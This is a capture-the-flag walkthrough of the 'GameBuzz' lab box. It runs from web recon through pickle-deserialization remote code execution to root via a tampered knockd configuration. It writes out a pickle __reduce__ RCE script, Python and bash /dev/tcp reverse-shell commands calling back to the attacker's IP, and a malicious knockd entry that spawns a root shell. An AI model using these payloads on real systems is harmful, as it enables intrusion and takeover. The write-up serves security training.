Recon to foothold

Let’s begin with a scan then

rob:GameBuzz/ $ sudo masscan -p1-65535,U:1-65535 10.10.195.189 --rate=1000 -e tun0
[sudo] password for rob: 
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-09-29 21:42:17 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.195.189 

Ok, not much open there!

Let’s nmap for a better view of the found ports

rob:GameBuzz/ $ nmap -A -T4 -v -p80 10.10.195.189
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-29 22:54 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating Ping Scan at 22:54
Scanning 10.10.195.189 [2 ports]
Completed Ping Scan at 22:54, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:54
Completed Parallel DNS resolution of 1 host. at 22:54, 0.01s elapsed
Initiating Connect Scan at 22:54
Scanning 10.10.195.189 [1 port]
Discovered open port 80/tcp on 10.10.195.189
Completed Connect Scan at 22:54, 0.01s elapsed (1 total ports)
Initiating Service scan at 22:54
Scanning 1 service on 10.10.195.189
Completed Service scan at 22:54, 6.03s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.195.189.
Initiating NSE at 22:54
Completed NSE at 22:54, 1.50s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.04s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Nmap scan report for 10.10.195.189
Host is up (0.014s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Incognito

NSE: Script Post-scanning.
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.23 seconds

I guess we’ll have to start with the web server then 😄

We find a game site, most of the buttons etc. go nowhere, but we do find 2 forms that call the same root page with parameters for name, phone, etc.

We also find a contact section with a potential domain name, incognito.com

Let’s try some directory busting to see if there are any other areas of interest on this web server

rob:GameBuzz/ $ gobuster dir --url http://10.10.90.10 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.90.10
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/09/30 13:30:36 Starting gobuster in directory enumeration mode
===============================================================
/static               (Status: 301) [Size: 311] [--> http://10.10.90.10/static/]
/server-status        (Status: 403) [Size: 276]                                 
/fetch                (Status: 405) [Size: 178]                                 
Progress: 23725 / 62284 (38.09%)                                               [ERROR] 2021/09/30 13:31:11 [!] parse "http://10.10.90.10/error\x1f_log": net/url: invalid control character in URL
                                                                                
===============================================================
2021/09/30 13:36:01 Finished
===============================================================

Ok, we can probably assume that /static is serving all the images etc. on the page we found. But what is /fetch? We get a 405 response, ‘Method Not Allowed’, so apparently it doesn’t like the ‘GET’ method. Let’s try some other methods then and see if we get anything usable

rob:GameBuzz/ $ ffuf -u http://10.10.90.10/fetch -X FUZZ  -w /usr/share/seclists/Fuzzing/http-request-methods.txt -fc 405

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1-dev
________________________________________________

 :: Method           : FUZZ
 :: URL              : http://10.10.90.10/fetch
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/http-request-methods.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response status: 405
________________________________________________

OPTIONS                 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 15ms]
options                 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 16ms]
:: Progress: [62/62] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

With ffuf we try bsaically every method possible and find only one that gives a response, OPTIONS

Let’s have another look now that we know what the /fetch directory supports

rob:GameBuzz/ $ curl -v -X OPTIONS http://10.10.90.10/fetch
*   Trying 10.10.90.10:80...
* Connected to 10.10.90.10 (10.10.90.10) port 80 (#0)
> OPTIONS /fetch HTTP/1.1
> Host: 10.10.90.10
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 30 Sep 2021 12:55:29 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Allow: POST, OPTIONS
< Content-Length: 0
< Content-Type: text/html; charset=utf-8
< 
* Connection #0 to host 10.10.90.10 left intact

Ok, that’s weird, this says that /fetch support the POST method

rob:GameBuzz/ $ grep -i post /usr/share/seclists/Fuzzing/http-request-methods.txt 
POST
post

but POST was on our list…

rob:GameBuzz/ $ curl -v -X POST http://10.10.90.10/fetch                  
*   Trying 10.10.90.10:80...
* Connected to 10.10.90.10 (10.10.90.10) port 80 (#0)
> POST /fetch HTTP/1.1
> Host: 10.10.90.10
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 INTERNAL SERVER ERROR
< Date: Thu, 30 Sep 2021 12:59:19 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Content-Length: 290
< Connection: close
< Content-Type: text/html; charset=utf-8
< 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

Ahh, we were not setup (by default) to show error code 500.

While looking at the source code we spot something we missed earlier

There’s a dropdown? Ah yes, there it is

Firing up burpsuite we can intercept what this sendRequest function does

And there’s our /fetch request in action! We get a response too

So this appears to be executing some sort of query in the backend and returning a result in a JSON format. It looks like the query is related to individual files being stored for each game as when we check each of the three links we find requests for /var/upload/games/object.pkl. .../object1.pkl and .../object2.pkl

A .pkl extension usually means a file created by python ‘pickle’, so perhaps instead of asking the backend to deserialize a pickle stored in a file, maybe we could get it to deserialize any arbitrary pickle we send it

However after a few attempts at this, we get nowhere. It’s possible that the remote side is just setup to always try and open whatever file it’s sent: no file, not working

So, the question then becomes, how can we get a file onto the target? We did see earlier that the path for the .pkl files was /var/upload/... which would suggest that there could be some sort of upload feature somewhere

We didn’t add the found domain name earlier as it was a .com address, but let’s try it now just in case a feature like this is hiding on a virtual host. Checking the base URL with curl just returns the same page, so let’s do a subdomain search

rob:GameBuzz/ $ gobuster vhost --url http://incognito.com -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://incognito.com
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2021/09/30 14:45:08 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.incognito.com (Status: 200) [Size: 57]
--snip--

Ok, we found a sub-domain, dev, let’s see what we find there

Some further directory busting here finds us some interesting stuff

rob:GameBuzz/ $ gobuster dir --url http://dev.incognito.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,php,zip,html
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.incognito.com
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              zip,html,txt,php
[+] Timeout:                 10s
===============================================================
2021/09/30 14:56:02 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 57]
/secret               (Status: 301) [Size: 323] [--> http://dev.incognito.com/secret/]
/robots.txt           (Status: 200) [Size: 32]                                 
/server-status        (Status: 403) [Size: 282]                                 
/index.html           (Status: 200) [Size: 57]                                        
===============================================================
2021/09/30 15:05:07 Finished
===============================================================

robots.txt gives us the same directory that gobuster has

rob:GameBuzz/ $ curl dev.incognito.com/robots.txt
User-Agent: *
Disallow: /secret

But unfortunately /secret gives us a 403 Forbidden

Busting for directories under /secret though gives us

rob:GameBuzz/ $ gobuster dir --url http://dev.incognito.com/secret -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,php,zip,html
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.incognito.com/secret
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php,zip,html
[+] Timeout:                 10s
===============================================================
2021/09/30 15:01:48 Starting gobuster in directory enumeration mode
===============================================================
/upload               (Status: 301) [Size: 330] [--> http://dev.incognito.com/secret/upload/]

And /secret/upload looks like exactly what we need!

Ok, let’s see then if we can put a pickle in a file. What if we were to pickle our favourite python reverse shell? Let’s use a python3 interactive shell

>>> import pickle
>>> outputfile = open("shell.pkl", "wb")
>>> shell = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.6.26",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
>>> pickle.dump(shell, outputfile)
>>> outputfile.close()

Unfortunately, this is not the way

Let’s google for some help then, this one looks good, let’s give it a try with a few small changes. Ffor example, we might not be able to rely on having nc, and we’ll use regular pickle rather than cPickle. Also we can’t seem to get it working with a base64 encoding, so we drop that too

rob:GameBuzz/ $ vi pickle1.py
rob:GameBuzz/ $ cat pickle1.py 
#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#

import pickle
import sys

DEFAULT_COMMAND = "bash -i >& /dev/tcp/10.14.6.26/1234 0>&1"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))
print pickle.dumps(PickleRce())

rob:GameBuzz/ $ python pickle1.py
cposix
system
p0
(S'bash -i >& /dev/tcp/10.14.6.26/1234 0>&1'
p1
tp2
Rp3
.

Alright, let’s drop that in a file, we’ll call it objectX.pkl so it matches the original files - just in case the backend code is fussy - and send it up

And no, nothing at all!

Perhaps the shell command needs to be wrapped up with bash -c to spawn a persistent shell, we can change our script and try again… but still nothing!

Cue a LOT of trial and error. We can test our pickle file like this, it seems to work

rob:GameBuzz/ $ python
Python 2.7.18 (default, Jul 14 2021, 08:11:37) 
[GCC 10.2.1 20210110] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> inputfile = open("object5.pkl", "r")
>>> eval(pickle.load(inputfile))

And over in our waiting listener we pop a shell

rob:GameBuzz/ $ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.14.6.26] 58512

So is it server side then? We try changing the port number for the reverse shell callback in case we have a firewall filtering out our traffic, still nothing. But then, almost by accident we change the request path, dropping the games directory - i.e. what if the upload form just uploads to the root of the ‘upload’ tree. Remembering of course that the other files are served on the production server and this is the dev server, so they could be mapped anywhere really

And we pop a shell! Finally!!

rob:GameBuzz/ $ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.90.10] 40070
bash: cannot set terminal process group (955): Inappropriate ioctl for device
bash: no job control in this shell
www-data@incognito:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1002(nosu)

Foothold achieved

User www-data

After stabilizing our shell we do some manual enumeration and find that we can quickly grab the user flag

www-data@incognito:/$ cat /home/dev2/user.txt 
`REDACTED`

The nosu group we are in is a little different, but we find nothing owned by that group, probably a ‘no sudo’ group

www-data@incognito:/home$ find / -group nosu 2>/dev/null
www-data@incognito:/home$ 

We find an email waiting for user dev1

www-data@incognito:/var$ cat /var/mail/dev1
Hey, your password has been changed, dc647eb65e6711e155375218212b3964.
Knock yourself in!

Ahh, now the reason for the nosu group is clear. We can’t just do a su - dev1 and switch users, we have to connect over (I guess) ssh

www-data@incognito:/var$ su - dev1
Password: 
su: Permission denied

We seem to have a clue though, Knock yourself in!, there must be some sort of port knocking to do in order to get port 22 visible externally. Let’s check that there is an SSH server running

www-data@incognito:/var$ ss -tulnp | grep -i listen
tcp   LISTEN  0        128            127.0.0.53%lo:53            0.0.0.0:*     
tcp   LISTEN  0        128                  0.0.0.0:22            0.0.0.0:*     
tcp   LISTEN  0        128                        *:80                  *:*     
tcp   LISTEN  0        128                     [::]:22               [::]:*  

Yes, it’s there, bound to no specific interface. Can we access it then from internally?

www-data@incognito:/var$ ssh dev1@localhost
ssh: connect to host localhost port 22: Connection refused

No, again, we can’t

Right then, we need to figure out a knocking sequence

Knock knock dev1

Fortunately we can have a peek at the configuration files

www-data@incognito:/etc$ cat knockd.conf 
[options]
	logfile = /var/log/knockd.log

[openSSH]
	sequence    = 5020,6120,7340
	seq_timeout = 15
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

[closeSSH]
	sequence    = 9000,8000,7000
	seq_timeout = 15
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j REJECT
	tcpflags    = syn

And we find a knocking sequence of 5020,6120,7340

Let’s open up SSH then

rob:GameBuzz/ $ knock incognito.com 5020:tcp 6120:tcp 7340:tcp incognito.com
rob:GameBuzz/ $ ssh dev1@incognito.com
The authenticity of host 'incognito.com (10.10.90.10)' can't be established.
ECDSA key fingerprint is SHA256:3OORNLgT2Ljv0dwfQnP/tX1k1GbjAz2u9XkLgcO8EdQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'incognito.com,10.10.90.10' (ECDSA) to the list of known hosts.
dev1@incognito.com's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-153-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Sep 30 15:28:44 UTC 2021

  System load:  0.0                Processes:           111
  Usage of /:   45.9% of 10.76GB   Users logged in:     0
  Memory usage: 51%                IP address for eth0: 10.10.90.10
  Swap usage:   0%


66 packages can be updated.
1 update is a security update.


You have mail.
Last login: Fri Jun 11 09:03:25 2021 from 192.168.29.217
dev1@incognito:~$ id
uid=1001(dev1) gid=1001(dev1) groups=1001(dev1)

And we’re in!

Let’s see if user dev1 has any sudo rights

dev1@incognito:~$ sudo -l
[sudo] password for dev1: 
Matching Defaults entries for dev1 on incognito:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dev1 may run the following commands on incognito:
    (root) /etc/init.d/knockd

Ok, that’s interesting, we can execute the startup script for knockd

dev1@incognito:~$ cat /etc/init.d/knockd 
#! /bin/sh

### BEGIN INIT INFO
# Provides:          knockd
# Required-Start:    $network $syslog $remote_fs
# Required-Stop:     $network $syslog $remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: port-knock daemon
### END INIT INFO

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/knockd
NAME=knockd
PIDFILE=/var/run/$NAME.pid
DEFAULTS_FILE=/etc/default/knockd
DESC="Port-knock daemon"
OPTIONS=" -d"

umask 0037

test -f $DAEMON || exit 0

set -e

[ -f $DEFAULTS_FILE ] && . $DEFAULTS_FILE

. /lib/lsb/init-functions

[ "$KNOCKD_OPTS" ] && OPTIONS="$OPTIONS $KNOCKD_OPTS"

start_if_configured() {
    if [ $START_KNOCKD -ne 1 ]; then
        log_warning_msg "$NAME disabled: not starting. To enable it edit $DEFAULTS_FILE"
        exit 0
    else
        log_daemon_msg "Starting $DESC" "$NAME"
        if ! START_ERROR=`start-stop-daemon --start --oknodo --quiet --exec $DAEMON -- $OPTIONS 2>&1`; then
            # don't fail the upgrade if it fails to start
            echo -n " "
            log_action_end_msg 1 "$START_ERROR"
            exit 0
        else
            log_end_msg 0
        fi
    fi
}

case "$1" in
    start)
        start_if_configured
        ;;
    stop)
        log_daemon_msg "Stopping $DESC" "$NAME"
        start-stop-daemon --stop --oknodo --quiet --exec $DAEMON
        log_end_msg 0
        ;;
    restart|reload|force-reload)
        log_daemon_msg "Stopping $DESC" "$NAME"
        start-stop-daemon --stop --oknodo --quiet --exec $DAEMON
        log_end_msg 0
        sleep 1
        start_if_configured
        ;;
    *)
        log_warning_msg "Usage: $0 {start|stop|restart|reload|force-reload}" >&2
        exit 1
        ;;
esac

exit 0

But we can’t edit it

dev1@incognito:~$ ls -la /etc/init.d/knockd 
-rwxr-xr-x 1 root root 1755 Oct  8  2016 /etc/init.d/knockd

Defaults are in /etc/default/knockd, but we can’t mess with that either

dev1@incognito:/snap$ ls -la /etc/default/knockd 
-rw-r--r-- 1 root root 194 Jun 11 09:05 /etc/default/knockd

And following the chain, knockd itself reads its config from /etc/knockd.conf, which is also read-only

dev1@incognito:~$ ls -la /etc/knockd.conf 
-rw-rw-r--+ 1 root root 349 Jun 11 07:39 /etc/knockd.conf

But, there’s more there, a + at the end of the permissions. Some googling leads us to stackoverflow and from there we find this text from info coreutils 'ls invocation'

Following the file mode bits is a single character that specifies whether an alternate access method such as an access control list applies to the file. When the character following the file mode bits is a space, there is no alternate access method. When it is a printing character, then there is such a method.

GNU ‘ls’ uses a ‘.’ character to indicate a file with a security context, but no other alternate access method.

A file with any other combination of alternate access methods is marked with a ‘+’ character

So does this mean we have SELinux ACL controls in place, let’s check that out

dev1@incognito:~$ getfacl /etc/knockd.conf
getfacl: Removing leading '/' from absolute path names
# file: etc/knockd.conf
# owner: root
# group: root
user::rw-
user:dev1:rw-
group::r--
mask::rw-
other::r--

Excellent, we have write permissions granted through SELinux

This means we can change the options for the knockd daemon at startup time

dev1@incognito:~$ vi /etc/knockd.conf
dev1@incognito:~$ cat /etc/knockd.conf 
[options]
	logfile = /var/log/knockd.log

[openSSH]
	sequence    = 5020,6120,7340
	seq_timeout = 15
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

[closeSSH]
	sequence    = 9000,8000,7000
	seq_timeout = 15
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j REJECT
	tcpflags    = syn

[nothingtoseehere]
	sequence    = 8001,8002,8003
	seq_timeout = 15
	command     = /bin/bash -c '/bin/bash -i >& /dev/tcp/10.14.6.26/1234 0>&1'
	tcpflags    = syn

So we simply add an additional knock sequence that sends a reverse shell to us

Now if we stop and start the daemon we should get our privesc

dev1@incognito:~$ sudo /etc/init.d/knockd stop
[sudo] password for dev1: 
[ ok ] Stopping knockd (via systemctl): knockd.service.
dev1@incognito:~$ sudo /etc/init.d/knockd start
[ ok ] Starting knockd (via systemctl): knockd.service.

If everything has gone to plan then knocking on the ports from our attackbox should give us a rooted shell. Knock, knock!

rob:GameBuzz/ $ knock incognito.com 8001 8002 8003

And in another console we pop a shell

rob:GameBuzz/ $ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.118.122] 44584
bash: cannot set terminal process group (4198): Inappropriate ioctl for device
bash: no job control in this shell
root@incognito:/# id
id
uid=0(root) gid=0(root) groups=0(root)

Finally we can grab the root flag

root@incognito:/# cat /root/root.txt	
cat /root/root.txt
`REDACTED`